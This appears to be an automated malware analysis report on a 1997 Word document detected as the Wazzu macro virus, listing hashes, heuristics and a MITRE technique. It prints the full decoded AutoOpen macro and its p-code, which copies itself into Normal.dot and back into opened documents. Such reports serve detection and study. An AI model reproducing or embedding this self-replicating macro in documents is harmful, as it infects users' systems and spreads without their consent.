Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fe84147d0e4d73a6…

MALICIOUS

Office (OLE)

26.5 KB Created: 1997-04-10 15:47:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: bd356c841b68772c7ec131f17679dcd1 SHA-1: 98cfe58ae364892ce53a120c8020b20f77ea4605 SHA-256: fe84147d0e4d73a634dabf355340b3c242c150a8272f4bc1ec59a3b9f838c96c
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as malicious by ClamAV and contains a legacy WordBasic AutoOpen macro. This macro is designed to copy itself to the Normal.dot template, which is a common technique for establishing persistence or spreading malware across documents. The macro's logic suggests an attempt to ensure its presence in the global template.

Heuristics 4

  • ClamAV: Doc.Trojan.Wazzu-47 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-47
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2025 bytes
SHA-256: 550da4b7263c5a03c1d174d118ce3978b1001e2e8f4e3fcb4c8e2e695ced579c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim F$
Dim G$
Dim M$
On Error GoTo -1: On Error GoTo MinSize
F$ = WordBasic.[FileName$]() + ":AutoOpen"
G$ = "Global:AutoOpen"
M$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))
If M$ = "NORMAL.DOT" Then
WordBasic.MacroCopy G$, F$
WordBasic.FileSaveAs Format:=1
Else
WordBasic.MacroCopy F$, G$
End If
MinSize:
End Sub

' Processing file: /opt/analyzer/scan_staging/4b686581385d413b9307801f09b254aa.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 1557 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn False
' Line #3:
' 	Dim 
' 	VarDefn G
' Line #4:
' 	Dim 
' 	VarDefn M
' Line #5:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError MinSize 
' Line #6:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St False$ 
' Line #7:
' 	LitStr 0x000F "Global:AutoOpen"
' 	St G$ 
' Line #8:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroFileName$] 0x0001 
' 	LitDI2 0x000A 
' 	Ld WordBasic 
' 	ArgsMemLd [Right$] 0x0002 
' 	ArgsLd UCase 0x0001 
' 	St M$ 
' Line #9:
' 	Ld M$ 
' 	LitStr 0x000A "NORMAL.DOT"
' 	Eq 
' 	IfBlock 
' Line #10:
' 	Ld G$ 
' 	Ld False$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #11:
' 	LitDI2 0x0001 
' 	ParamNamed Format$ 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #12:
' 	ElseBlock 
' Line #13:
' 	Ld False$ 
' 	Ld G$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #14:
' 	EndIfBlock 
' Line #15:
' 	Label MinSize 
' Line #16:
' 	EndSub

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